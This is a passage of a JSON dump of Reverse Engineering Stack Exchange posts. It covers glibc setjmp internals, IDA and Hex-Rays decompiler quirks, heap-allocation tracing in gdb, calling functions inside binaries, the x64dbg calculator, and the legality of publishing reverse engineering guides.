documented?</h5>\n<p>Firstly, we're in a reverse engineering community, avoiding documentation does not guarantee confidentiality. Secondly, <em>documentation is in the code</em> :)</p>\n<p>I would imagine documentation is rather difficult for such low-level details that may change frequently and are <em>very architecture specific</em>. Which leads us to your next question -</p>\n<h4>Why is setump/longjmp architecture-dependent?</h4>\n<p>Obviously, this goes without saying, but for completeness I thought it'd be better to be explicit here. Here are some reason this has to be done on an per-architecture level:</p>\n<ol>\n<li>As these functions touch the some of a CPU's ABI (specifically the <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions\" rel=\"nofollow noreferrer\">calling convention</a>), the code has to follow a different conventions.</li>\n<li>Accessing registers by name, for their specific purpose is abstracted in C.</li>\n<li>C is a <a href=\"https://en.wikipedia.org/wiki/Procedural_programming\" rel=\"nofollow noreferrer\">procedural language</a>, therefore setjmp/longjmp in their core are direct contradiction to the nature of C since it breaks the boundaries of procedures (functions).</li>\n<li>Additional architecture-specific features (that are implemented differently, <a href=\"https://sourceware.org/pipermail/libc-alpha/2017-December/089675.html\" rel=\"nofollow noreferrer\">shadow stack</a> and <a href=\"https://sourceware.org/glibc/wiki/PointerEncryption\" rel=\"nofollow noreferrer\">pointer guard</a> are such examples) might change how setjmp/longjmp need to handle specific cases.</li>\n</ol>\n<p>I'll discuss amd64 from now on.</p>\n<h4>How is setjump implemented</h4>\n<p>Now, although this isn't C (and isn't the most readable assembly either), the code for setjmp on amd64 can be found in <a href=\"https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=sysdeps/x86_64/setjmp.S\" rel=\"nofollow noreferrer\">setjmp.S</a>, longjmp is <a href=\"https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=sysdeps/x86_64/__longjmp.S\" rel=\"nofollow noreferrer\">__longjmp.S</a>. It's even quite commented and the code is pretty straight forward!</p>\n<p>You can clearly see the registers as they're saved onto the structure (For example, <code>movq %r12, (JB_R12*8)(%rdi)</code>). You can see <code>PTR_MANGLE</code> is called if the aformentinoed pointer guard feature is enabled.</p>\n<p>Because your question mostly revolved around <em>finding</em> the code and not <em>reading</em> the code and since the code is quite straight-forward, I'll leave reading the functions as an exercise for the reader for now. I'll come back and add more details later on, so feel free to ask follow-up questions.</p>\n<h5>How is the <code>jmp_buf</code> structure defined</h5>\n<p>Since we're dealing with assembly we don't have structures. Instead, there are several <code>#define</code> preprocessor directives to define the <code>jmp_buf</code> structure. Those are located in a dedicated header: <a href=\"https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=sysdeps/x86_64/jmpbuf-offsets.h\" rel=\"nofollow noreferrer\">jmpbuf-offsets.h</a></p>\n<h5>Where are those files located? Where can I find different architecture implementations?</h5>\n<p>These files are located in the <a href=\"https://sourceware.org/git/?p=glibc.git;a=tree;f=sysdeps\" rel=\"nofollow noreferrer\"><code>sysdep</code></a> module, which holds subdirectories for each supported architecture-specific components. <code>aarch64</code> stands for arm 64-bit, <code>x86</code> for 32-bit intel 8086 compatible processors, <code>86_64</code> for 64 bit intel 8086 CPUs, etcetera.</p>\n"
    },
    {
        "Id": "29518",
        "CreationDate": "2021-11-09T07:39:42.387",
        "Body": "<p>I'm practicing reverse engineering in IDA and I created an example application in Visual C++ to practice working with classes/structs and the decompiler output seems to be incorrect - I would like to know if it's possible to fix this to get a closer to correct decompiled result or whether this is simply a limitation of the decompiler.</p>\n<pre><code>#include &lt;iostream&gt;\n#include &quot;exstruct.cpp&quot;\n\nint main()\n{\n    int x, y;\n    std::cin &gt;&gt; x;\n    std::cin &gt;&gt; y;\n    calculator c(x, y);\n    std::cout &lt;&lt; c.multiply() &lt;&lt; &quot;\\r\\n&quot;;\n}\n</code></pre>\n<p>I compiled with the Visual C++ compiler with <em>optimizations turned off</em> and after defining the functions and data structures, the hex-rays decompiler spits out this:</p>\n<pre><code>int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  char *newline; // ST04_4\n  int cout; // eax\n  Calculator calculator; // [esp+4h] [ebp-18h]\n  int x; // [esp+10h] [ebp-Ch]\n  int y; // [esp+14h] [ebp-8h]\n\n  std::basic_istream&lt;char,std::char_traits&lt;char&gt;&gt;::operator&gt;&gt;(std::cin, &amp;x, calculator.x);\n  std::basic_istream&lt;char,std::char_traits&lt;char&gt;&gt;::operator&gt;&gt;(std::cin, &amp;y, calculator.y);\n  Calculator_constructor(&amp;calculator, x, y);\n  calculator.x = (int)new_line_string;\n  newline = (char *)Calculator_multiply(&amp;calculator);\n  cout = std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt;::operator&lt;&lt;(std::cout);\n  printf(cout, (int)newline);\n  return 0;\n}\n</code></pre>\n<p>It all looks pretty good up until it assigns the new line string <code>\\r\\n</code> to <code>calculator.x</code> and then the result of the multiplication to the <code>newline</code> variable, which is wrong for obvious reasons.</p>\n<p>I've reviewed the assembly and this is simply not what happens. A snippet of the assembly below:</p>\n<pre><code>.text:00701088                 lea     ecx, [ebp+calculator] ; this\n.text:0070108B                 call    Calculator_constructor\n.text:00701090                 push    offset new_line_string ; this\n.text:00701095                 lea     ecx, [ebp+calculator] ; this\n.text:00701098                 call    Calculator_multiply\n.text:0070109D                 push    eax\n.text:0070109E                 mov     ecx, ds:?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A ; std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt; std::cout\n.text:007010A4                 call    ds:??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@H@Z ; std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt;::operator&lt;&lt;(int)\n.text:007010AA                 push    eax\n.text:007010AB                 call    printf\n</code></pre>\n<p>It looks to me like the decompiler is getting confused because the pointer to <code>\\r\\n</code> literal <code>push</code> happens before the <code>multiply</code> call, making it look like an argument where it actually is not.</p>\n<p>Is there anyway I can fix this?</p>\n<p>Full assembly is <a href=\"https://i.stack.imgur.com/mI9dp.png\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p><code>exstruct.cpp</code> as text:</p>\n<pre><code>class calculator\n{\npublic:\n    int x;\n    int y;\n    int z;\n\n    calculator(int x, int y)\n    {\n        this-&gt;x = x;\n        this-&gt;y = y;\n        this-&gt;z = x + y;\n    }\n\n    int multiply()\n    {\n        return this-&gt;x * this-&gt;y;\n    }\n};\n</code></pre>\n<p>Constructor &amp; Multiply Source &amp; Decompiled Source:</p>\n<p><a href=\"https://i.stack.imgur.com/lJMz5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lJMz5.png\" alt=\"here\" /></a>.</p>\n<p>Notes:</p>\n<ul>\n<li>Hex-Rays Decompiler v7.0.0.170914</li>\n<li>I manually increased the size of the function to <code>1C</code> as it wasn't originally detecting <code>newline</code> as a field</li>\n<li>I manually defined the location of <code>\\r\\n</code> in memory as a string</li>\n</ul>\n",
        "Title": "Hex-rays decompiler incorrect logic",
        "Tags": "|ida|decompilation|c++|hexrays|",
        "Answer": "<p>I was able to work this one out.</p>\n<p>The decompiler was not detecting the correct call parameter counts for the <code>&gt;&gt;</code> and <code>&lt;&lt;</code> operators of <code>cin</code> and <code>cout</code>.</p>\n<p>For example:</p>\n<pre><code>int __thiscall std__basic_istream_char_std__char_traits_char____operator__(_DWORD, _DWORD, _DWORD)\n</code></pre>\n<p>Is the detected signature of the <code>&gt;&gt;</code> operator.</p>\n<p>However, reviewing the <a href=\"https://en.cppreference.com/w/cpp/io/basic_istream/operator_gtgt\" rel=\"nofollow noreferrer\"> C++ reference</a>, it should be something more like this:</p>\n<pre><code>int __thiscall std__basic_istream_char_std__char_traits_char____operator__(void *, int *)\n</code></pre>\n<p>Where the first parameter is the <code>cin</code> object and the second is a pointer to the integer output. Because these functions use the <code>__thiscall</code> convention if the parameter count is wrong then the decompiler assumes that the function has modified the stack pointer by the incorrect amount and this leads to all sorts of issues.</p>\n"
    },
    {
        "Id": "29519",
        "CreationDate": "2021-11-09T09:47:09.257",
        "Body": "<p>When I looking in a vtable structure in IDA pro, I know that <code>___cxa_pure_virtual</code> means that the function is virtual.</p>\n<p>But what does <code>nullsub_XXX</code> mean in a vtable structure?</p>\n",
        "Title": "What is \"nullsub_XXX\" in vtable in IDA",
        "Tags": "|ida|c++|static-analysis|vtables|",
        "Answer": "<p><em>Welcome to the Reverse engineering stack exchange Q&amp;A site! Although you only asked about <code>nullsub_</code>, you described <code>___cxa_pure_virtual</code> slightly incorrectly so I'll describe it as well</em></p>\n<h3>nullsub_X</h3>\n<p>IDA makes a minimal effort of providing meaningful, yet general, names for functions according to their implementation by adding a prefix or name for certain <em>types</em> of functions.</p>\n<p>One such case is <code>nullsub</code>, which is a name automatically given (during the analysis phase) to all <em>empty</em> functions. Meaning functions that simply return without doing <strong>anything</strong>.</p>\n<p>Additionally, since names are unique in IDA, when an in-use name is set to a function IDA will postfix it with an underscore and then an auto-incremented number (starting with 1).</p>\n<p>If you're wondering why such functions should exist in the first place, <a href=\"https://reverseengineering.stackexchange.com/questions/2420/what-are-nullsub-functions-in-ida/2422#2422\">this</a> post answers that question quite diligently.</p>\n<h3>___cxa_pure_virtual</h3>\n<p>This is a function implemented by <a href=\"https://gcc.gnu.org/onlinedocs/libstdc++/\" rel=\"nofollow noreferrer\"><code>libstdc++</code></a> (and a similar function is implemented by other C++ standard libraries) as a place-holder to <strong>pure</strong> virtual functions in virtual function tables.</p>\n<p>Although pure virtual functions have no implementation the compiler cannot eliminate the risk of pure virtual functions being called at run-time, and so a stub such as <code>___cxa_pure_virtual</code> is used as a place-holder for all pure virtual functions, so that if it ever happens that a pure virtual function would be called at runtime, there an explicit handling (termination of the program with a somewhat meaningful crash, often).</p>\n"
    },
    {
        "Id": "29525",
        "CreationDate": "2021-11-09T22:11:32.497",
        "Body": "<p>Sometime the meaning of variable has been changed on the function.</p>\n<p>For example from Ida pseudo code:</p>\n<pre><code>a = price\n....\na= tax....\n</code></pre>\n<p>In the beginning of function <code>a</code> was price and after that <code>a</code> is tax.</p>\n<p>How can I split a to 2 different variable so I can rename this variable in Ida Pro</p>\n",
        "Title": "Split variable in Ida Pesudo Code",
        "Tags": "|ida|static-analysis|",
        "Answer": "<p><kbd>Shift</kbd>+<kbd>F</kbd> or right-click on the variable and then choose &quot;Force new variable&quot;.</p>\n<p>IDA documentation: <a href=\"https://www.hex-rays.com/products/decompiler/manual/cmd_force_lvar.shtml\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/decompiler/manual/cmd_force_lvar.shtml</a></p>\n"
    },
    {
        "Id": "29532",
        "CreationDate": "2021-11-10T22:02:55.197",
        "Body": "<p>While I debug with GDB I see the address of a buffer that's located on the heap.</p>\n<p>How can I know what is the size of this buffer? Or where (in the code) this buffer was originally allocated?</p>\n<p>When I place a breakpoint on the <code>new</code> function to find out the allocation the process significantly slows down, making debugging difficult.</p>\n",
        "Title": "How can I find out the size of heap allocations?",
        "Tags": "|debugging|linux|gdb|memory|heap|",
        "Answer": "<h3>Tracing memory allocations</h3>\n<p>Tracing is when instead of <em>stopping</em> when a function is called a tool will simply write a log line (usually with some additional data). Tracing is often a lot faster than interrupting the execution and yielding control to a user to handle the break point.</p>\n<p>This is probably the simplest solution for you. You could trace all allocations either using a debugger with tracing or scripting capabilities or using a specific tracing utility such as <a href=\"https://www.man7.org/linux/man-pages/man1/ltrace.1.html\" rel=\"nofollow noreferrer\"><code>ltrace</code></a>.</p>\n<p>Once you have tracing set-up and running, you can search for the address of the allocated buffer you're interested in investigating, to find all calls it was involved in.</p>\n<p>The <a href=\"https://www.man7.org/linux/man-pages/man1/ltrace.1.html\" rel=\"nofollow noreferrer\"><code>ltrace</code> man page</a> is quite helpful but in your case simply <code>grep</code>-ing for the address will do just fine. <code>ltrace</code> has definitions for standard library APIs such as <code>new</code> and <code>malloc</code>.</p>\n<p>Tracing with <code>gdb</code> will require a bit of gdb-scripting but something like the following should do:</p>\n<pre><code>(gdb) b malloc\nBreakpoint 1 at XXXX\n(gdb) commands 1\nType commands for when breakpoint 1 is hit, one per line.\nEnd with a line saying just &quot;end&quot;.\n&gt;silent       # don't stop on breakpoint being hit\n&gt;backtrace    # print current back-trace\n&gt;p $eax       # Pass the input to the call, should be the size allocation!\n&gt;fin          # execute till function's return\n&gt;p $eax       # print return value, should be chunk address!\n&gt;continue     # continue execution of the program\n&gt;end\n</code></pre>\n<h3>Memory access break point on the allocated region</h3>\n<p>Using a debugger such as <code>gdb</code>, you could place a <em>memory access</em> breakpoint (also called a <a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Set-Watchpoints.html\" rel=\"nofollow noreferrer\">watchpoint</a>) on the allocation's address. Thus by executing <code>awatch &lt;allocation address&gt;</code> you'll have a breakpoint hit every time the allocation is accessed (there's a caveat, though).</p>\n<p>This won't immediately give you the size of the allocation, but with some reverse engineering and back-tracking the address's origin, you can find the original allocation call that resulted in that buffer. A beneficial side-effect is easily seeing what's the allocation used for.</p>\n<p>As mentioned previously using memory breakpoints may have a caveat. If your hardware doesn't support the mechanisms required for implementing memory breakpoints efficiently, memory break points may be implemented in software which is pretty slow.</p>\n<h3>Looking up the size through heap data structures</h3>\n<p>This may be the most straight-forward way to answer your original question (how to find the size of an allocated heap chunk) theoretically but the most difficult to implement. It may still be of interest to future readers.</p>\n<p>As the heap is designed to manage allocations in different sizes, all heap implementations maintain metadata about the size of all allocated chunks. That metadata can be read or retrieved and heap-visualization tools will even help with that.</p>\n<p>Some heap implementations hold the chunk metadata in-bounds, and prefix each allocated chunk with a short header that either directly indicates of it's size, or points to a &quot;bin&quot; of allocations of a given size, or both. <a href=\"http://web.archive.org/web/20190619034641/http://g.oswego.edu/dl/html/malloc.html\" rel=\"nofollow noreferrer\">dlmalloc</a> is an example of such implementation.</p>\n<p>Some heap allocator implementations include:</p>\n<p><a href=\"http://web.archive.org/web/20190619034641/http://g.oswego.edu/dl/html/malloc.html\" rel=\"nofollow noreferrer\">dlmalloc</a> - Doug Lea's malloc</p>\n<p><a href=\"http://jemalloc.net/\" rel=\"nofollow noreferrer\">jemalloc</a> - Jason Evans' malloc</p>\n<p>HeapAlloc - Visual Studio's allocator</p>\n<hr />\n<p>Side note: heap allocations don't necessarily originate from <code>new</code> calls. There are other possible APIs that request memory from the heap, <code>malloc</code> for example. You should find the lowest API that might interest you.</p>\n"
    },
    {
        "Id": "29541",
        "CreationDate": "2021-11-11T20:50:30.367",
        "Body": "<p>I wonder how to declare the reference to a constructor to a reversed class, i.e. I have a class say Game and it has a constructor at a certain address.</p>\n<p>It is declared like this:</p>\n<p><strong>game.h</strong></p>\n<pre><code>namespace gladius {\n    struct Game {\n        //virtual int __thiscall main(gladius::Game* thisptr, int param_1, char** param_2, char** param_3);\n\n        using GameConstructor = Game * (__fastcall*) (Game* thisptr);\n        GameConstructor gameConstructor;\n\n..........\n\n}\n</code></pre>\n<p><strong>game.cpp</strong></p>\n<pre><code>namespace gladius {\n    static std::array&lt;Game, 1&gt; functions = { {\n                Game{\n\n            (Game::GameConstructor)(AddressHelper::getInstance().GetBaseAddress() + 0x331b0 / (2 * sizeof(DWORD))),\n</code></pre>\n<p>Now let's imagine I want an instance of the Game object. How do I get one as something like this</p>\n<pre><code>Game gameObj = gameConstructor; \n</code></pre>\n<p>is not going to work as gameObj and gameConstructor have different type. Without reversing the constructor is there any way to call it (by address) and assign the reversed class instance to it?</p>\n<p>And</p>\n<pre><code> namespace gladius {\n        struct Game {\n              using Game = Game * (__fastcall*) (Game* thisptr);\n              Game gameConstructor;\n</code></pre>\n<p>doesn't work as a declaration as you can't  declare type the same as the type of the class / structure and I don't know how to modify the above to keep it as a reference to the addressed method rather than a fully reversed function.</p>\n<p>Basically the question is, how to do</p>\n<pre><code>Game objInst = new Game();\n</code></pre>\n<p>where <code>new Game();</code> points to existing Game constructor (accessible by address offset)?</p>\n",
        "Title": "How to declare a constructor in reversed class?",
        "Tags": "|c++|dll|function-hooking|dll-injection|api-reversing|",
        "Answer": "<p>Here is the solution:</p>\n<p>The constructor can be called like this:</p>\n<pre><code>    gladius::GameStruct* thisptr = (gladius::GameStruct*)malloc(sizeof(gladius::GameStruct));\n    gladius::get().gameConstructor(thisptr);\n</code></pre>\n<p>where sizeof(GameStruct) <strong>must match</strong> the size of the original constructor. In my case the Game structure should be re-written to have something like:</p>\n<pre><code>struct GameStruct : Game{\n        \n        DWORD_PTR* unknownPtrA = 0;\n\n        DWORD_PTR* unknownPtrB = 0;\n\n        DWORD_PTR* unknownPtrC = 0;\n\n        DWORD_PTR* unknownPtrD = 0;\n\n        DWORD_PTR* guiObjPtr = 0;\n\n        DWORD_PTR* unknownPtrE = 0;\n\n        DWORD_PTR* unknownPtrF = 0;\n\n        DWORD_PTR* unknownPtrG = 0;\n\n        DWORD_PTR* unknownPtrH = 0;\n\n        DWORD_PTR* unknownPtrI = 0;\n\n        DWORD_PTR* unknownPtrJ = 0;\n\n    };\n</code></pre>\n<p>to bring the pointers in constructor outside of the Game struct. This way it matches the original constructor in what it does and in size (i.e. 11 members 8 bytes each = 88 bytes of size)</p>\n<p>Or / and the pointers to the functions should be placed inside the standard C++ functions and be called from there as that way they won't occupy the additional memory space which needs to be allocated.</p>\n"
    },
    {
        "Id": "29542",
        "CreationDate": "2021-11-11T21:17:09.640",
        "Body": "<p>I have a binary with a func that I can disassemble.  What are simple ways for me to call it with arbitrary args and observe its return val and behavior?</p>\n<p>Ideally, I'd like to do this:</p>\n<ul>\n<li>Within gdb (or gdb-peda)</li>\n<li>From C (ie linking to the executable as if its a lib)</li>\n<li>Via Python scripts (I recall reading about a Python script to do this, but can't find it)</li>\n</ul>\n<p>I'm operating on Linux, but this question is relevant to other OS as well.</p>\n",
        "Title": "How to call a func in an executable binary?",
        "Tags": "|disassembly|binary-analysis|dynamic-analysis|libraries|call|",
        "Answer": "<h3>LIEF</h3>\n<p>If the binary is a PIE, exporting functions via the LIEF binary instrumentation framework should allow you to call the function you are interested in as if it was a function in a shared object.</p>\n<ul>\n<li>Example: <a href=\"https://lief-project.github.io//doc/latest/tutorials/08_elf_bin2lib.html\" rel=\"nofollow noreferrer\">LIEF - Transforming an ELF executable into a library</a></li>\n</ul>\n<h3>LD_PRELOAD</h3> \n<p>If the binary is dynamically linked and contains code for setting up the standard C runtime environment e.g. <code>__libc_start_main</code> calling <code>main()</code>, you can hook these functions with LD_PRELOAD and interpose your own code via shared library injection which calls the target function directly with arguments of your choosing.</p>\n<ul>\n<li>Example: <a href=\"https://breaking-bits.gitbook.io/breaking-bits/vulnerability-discovery/reverse-engineering/modern-approaches-toward-embedded-research\" rel=\"nofollow noreferrer\">Modern Vulnerability Research Techniques on Embedded Systems</a></li>\n<li>Example: <a href=\"https://gist.github.com/apsun/1e144bf7639b22ff0097171fa0f8c6b1\" rel=\"nofollow noreferrer\">Hook main() using LD_PRELOAD </a></li>\n</ul>\n<h3>Qiling emulator</h3>\n<p>Using the Qiling emulator, you can record the state of the program and then replay the target function in GDB. Since the code is being emulated, it is straightforward to manipulate any aspect of the process' state (registers, memory, etc.)</p>\n<ul>\n<li>Example: <a href=\"https://github.com/qilingframework/qiling/blob/master/examples/hello_x8664_linux_part_debug.py\" rel=\"nofollow noreferrer\">qiling/examples/hello_x8664_linux_part_debug.py</a></li>\n</ul>\n<h3>DBI</h3>\n<p>Using Frida, Pin, DynamoRIO etc. you can basically make the program do what you want at run time, in this case hook a function, manipulate its arguments and observe the subsequent behavior.</p>\n<ul>\n<li>Example: <a href=\"https://blog.fadyothman.com/getting-started-with-frida-hooking-main-and-playing-with-its-arguments/\" rel=\"nofollow noreferrer\">Getting Started with Frida : Hooking a Function and Replacing its Arguments</a></li>\n<li>Example: <a href=\"https://software.intel.com/sites/landingpage/pintool/docs/98484/Pin/html/index.html#FunctionArguments\" rel=\"nofollow noreferrer\">Pin 3.21 User Guide: Finding the Value of Function Arguments</a></li>\n</ul>\n<h3>Trampolining with e9patch</h3>\n<p>e9patch is a static binary rewriting tool that allows one to change/insert code prior to run time.</p>\n<ul>\n<li>Example: <a href=\"https://github.com/GJDuck/e9patch/blob/master/doc/e9tool-user-guide.md\" rel=\"nofollow noreferrer\">e9tool user guide</a></li>\n<li>Example: <a href=\"https://github.com/GJDuck/e9afl\" rel=\"nofollow noreferrer\">e9afl</a></li>\n</ul>\n<p>There are probably even more ways to do this, such as process snapshotting with ptrace and /proc and then manipulating registers and memory with ptrace, emulation with PANDA, emulation with Unicorn, emulation with QEMU, possibly even ELF parasite code or inserting code that calls the target function using LD_PRELOAD together with <code>__attribute__ ((constructor)) injected_function()</code>. You have a lot of options.</p>\n"
    },
    {
        "Id": "29546",
        "CreationDate": "2021-11-12T18:34:06.020",
        "Body": "<p>This is the second time I see this kind of function today :</p>\n<pre><code>.text:00000000000010B0 sub_10B0        proc near               ; CODE XREF: sub_1120:loc_1143\u2193p\n.text:00000000000010B0                 lea     rdi, byte_4418\n.text:00000000000010B7                 lea     rax, byte_4418\n.text:00000000000010BE                 cmp     rax, rdi\n.text:00000000000010C1                 jz      short locret_10D8\n.text:00000000000010C3                 mov     rax, cs:_ITM_deregisterTMCloneTable_ptr\n.text:00000000000010CA                 test    rax, rax\n.text:00000000000010CD                 jz      short locret_10D8\n.text:00000000000010CF                 jmp     rax\n.text:00000000000010CF ; ------------------------------------------------------------------\n.text:00000000000010D1                 align 8\n.text:00000000000010D8\n.text:00000000000010D8 locret_10D8:                            ; CODE XREF: sub_10B0+11\u2191j\n.text:00000000000010D8                                         ; sub_10B0+1D\u2191j\n.text:00000000000010D8                 retn\n.text:00000000000010D8 sub_10B0        endp\n</code></pre>\n<p>As I understand, both <code>jz</code> are going to jump anyway, so the first <code>jz</code> is always going to jump to the <code>ret</code>.</p>\n<p>Why isn't this function written more simply, just like a single <code>return &amp;byte_4418</code> ?</p>\n<pre><code>lea     rax, byte_4418\nretn\n</code></pre>\n<p>I hope my English is good enough to be understood.</p>\n<p>Thank you,</p>\n<p>Max</p>\n<p>PS : I'm sorry, I don't know which compiler is used.</p>\n",
        "Title": "Useless instructions in a compiled getter",
        "Tags": "|ida|assembly|decompilation|c|",
        "Answer": "<p>I expect that the compiler emitted two different symbol references in the two LEA instructions, and uses the compare instruction to detect at run time whether the two symbols were resolved to the same address at link time. Many modern compilers/linkers offer &quot;link time code generation&quot; aka &quot;whole program optimization&quot;, where the compiler's optimizer runs at link time. In such a system, there would be no need for a runtime check, but the compiler is (re-)called at link time and can optimize (in this case: eliminate/not generate the dead path) in response to seeing all modules getting linked together.</p>\n"
    },
    {
        "Id": "29563",
        "CreationDate": "2021-11-15T01:22:57.117",
        "Body": "<p>I am using IDA pro to analyze an old nginx binary. I am getting following warnings which I have never seen before. Does anyone have an idea about these warnings?</p>\n<pre><code>IDA is analysing the input file...\nYou may start to explore the input file right now.\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'statfs64': name is already used\nfailed to add structure type 'statfs64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'statfs64': name is already used\nfailed to add structure type 'statfs64': name is already used\nfailed to add structure type 'statfs64': name is already used\nfailed to add structure type 'statfs64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\nfailed to add structure type 'stat64': name is already used\n</code></pre>\n<p>I can send you nginx binary if required. And the binary is compiled using a custom version of llvm. I am using IDA Pro 7.5 and an IDAPython script.</p>\n",
        "Title": "IDA Pro: unknown warnings",
        "Tags": "|ida|idapython|",
        "Answer": "<p>This message shows that you, or a script you run, is trying to create a struct with a name that already exists.</p>\n<p>Common IDAPython analysis scripts try to define known struct types found in the disassembled code by, for example, known function signatures/symbols.</p>\n<p>This can be done by calling <code>AddStrucEx</code> function.</p>\n<p>Scripts don't always check whether the struct is already defined before trying to add it - resulting in this error.</p>\n<p><code>stat64</code> is a standard Linux structure and variables of that type are most likely used many times in the code.</p>\n"
    },
    {
        "Id": "29568",
        "CreationDate": "2021-11-16T05:44:10.393",
        "Body": "<p>The x64dbg calculator can evaluate hex expressions.</p>\n<p><a href=\"https://i.stack.imgur.com/jEl7u.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jEl7u.png\" alt=\"enter image description here\" /></a></p>\n<p>Is there a syntax to calculate the sum of a hex value and a decimal value? For the example in the snapshot, is it possible to treat <code>10</code> as a decimal? The expected result is <code>939936F59A</code>. If it can't, what's the most convenient tool to do this kind of calculation?</p>\n",
        "Title": "How to use decimal in x64dbg calculator?",
        "Tags": "|x64dbg|hexadecimal|",
        "Answer": "<p>Yes, it is.</p>\n<p>For <em>decimal</em> numbers, use the syntax <em>with the period just <strong>before</strong></em> the number, e.g. <code>.10</code>:</p>\n<p><a href=\"https://i.stack.imgur.com/t2Xgq.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/t2Xgq.jpg\" alt=\"enter image description here\" /></a></p>\n<p>Particularly, in your case you will obtain exactly what you wanted (I omitted leading zeroes):</p>\n<p><a href=\"https://i.stack.imgur.com/Yr8o5.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Yr8o5.jpg\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "29577",
        "CreationDate": "2021-11-18T22:20:08.147",
        "Body": "<p>Say I used a game engine and made a game (from scratch on my own). Further, I provide details on how to reverse engineer my game, including methods and details.</p>\n<p>Two questions.</p>\n<ol>\n<li>Is it legal to do that?</li>\n<li>Can I open my code and provide a use case of reverse engineering in games for educational purposes?</li>\n</ol>\n",
        "Title": "Is it legal to publish details on how to reverse engineer a non commercial game?",
        "Tags": "|law|",
        "Answer": "<p>You should ask a lawyer about legal questions -- I am not one, and my understanding of this topic is not more valuable than an actual lawyer's. That said, to my knowledge: generally speaking, for someone to land in legal trouble for reverse engineering, they either need to have:</p>\n<ol>\n<li>Committed an offense that the law lays out as being criminal, in which case they might be criminally prosecuted by the government. Related offenses can include piracy of commercially copyrighted materials, or of stealing trade secrets.</li>\n<li>Have undertaken some action that makes the holder of the copyright feel aggrieved, and compels them to file a lawsuit. In general, these civil actions center around things like license violations, copyright and trademark infringement, and misappropriation of intellectual property.</li>\n</ol>\n<p>Both of the above center around unauthorized uses of reverse engineering. Given that you are talking distributing software for free, with explicit authorization of reverse engineering, with source code, and with instructions on how to reverse engineer it, you are effectively waiving your rights to the types of civil proceedings that generally surround reverse engineering. If you were to sue somebody for reverse engineering your software, they would simply point to your own authorization as a defense as to why their actions were legal. On the criminal side, nobody's commercial interests are being harmed -- which is the cornerstone of criminal penalties against reverse engineering -- and so the government has no reason to care about it. Somebody with a stake in the matter has to be upset in order for a reverse engineer to go to jail or get sued.</p>\n<p>The idea of people creating software for the express purpose of other people reverse engineering it is not new. Capture The Flag and crackme contests have already been doing this for decades. Although it's less common, sometimes commercial software allows reverse engineering by license agreement. For example, here's a bit of text from <a href=\"https://hex-rays.com/ida_eula.pdf\" rel=\"noreferrer\">Hex-Rays' license agreement</a>:</p>\n<blockquote>\n<p>This license also allows you to</p>\n<ul>\n<li>reverse-engineer the software.</li>\n</ul>\n</blockquote>\n<p>One thing I might note is that, if your code relies upon third-party libraries: you, yourself, do not have legal standing to authorize people to reverse engineer other peoples' code. I.e., if the game engine that you're using has license provisions against reverse engineering, your declaration that it is okay to reverse engineer your own code ultimately does not supplant the engine developers' own license terms surrounding reverse engineering of their code. I imagine it's possible that the engine developer could hold you liable for breaches of their license terms. But, if the engine is open source, then intellectual property interests like that are a moot point, since people can simply read the source code much easier than they could reverse engineer it.</p>\n"
    },
    {
        "Id": "29582",
        "CreationDate": "2021-11-20T08:53:19.733",
        "Body": "<p>I have a VM running windows with notepad open, I did list the modules with <em>lm</em>:</p>\n<pre><code>start             end                 module name\n00007ffc`60fb0000 00007ffc`60fe2000   vertdll    (deferred)             \n00007ffc`60ff0000 00007ffc`611e5000   ntdll    # (pdb symbols)          C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\sym\\ntdll.pdb\\96EF4ED537402DAAA51D4A4212EA4B2C1\\ntdll.pdb\nfffff5cc`05c00000 fffff5cc`05ed3000   win32kbase   (deferred)             \nfffff5cc`05f70000 fffff5cc`0600a000   win32k     (deferred)             \nfffff5cc`064c0000 fffff5cc`06877000   win32kfull   (deferred)             \nfffff5cc`06880000 fffff5cc`068c9000   cdd        (deferred)             \nfffff801`40600000 fffff801`4088f000   mcupdate_GenuineIntel   (deferred)             \nfffff801`40890000 fffff801`40896000   hal        (deferred)             \nfffff801`408a0000 fffff801`408ae000   kdcom      (deferred)             \nfffff801`408b0000 fffff801`408d7000   tm         (deferred)             \nfffff801`408e0000 fffff801`4094a000   CLFS       (deferred)             \nfffff801`40950000 fffff801`4096a000   PSHED      (deferred)             \nfffff801`40970000 fffff801`4097b000   BOOTVID    (deferred)             \nfffff801`40980000 fffff801`409ef000   FLTMGR     (deferred)             \nfffff801`409f0000 fffff801`409fe000   cmimcext   (deferred)             \nfffff801`40c00000 fffff801`40c7f000   cldflt     (deferred)             \nfffff801`40c80000 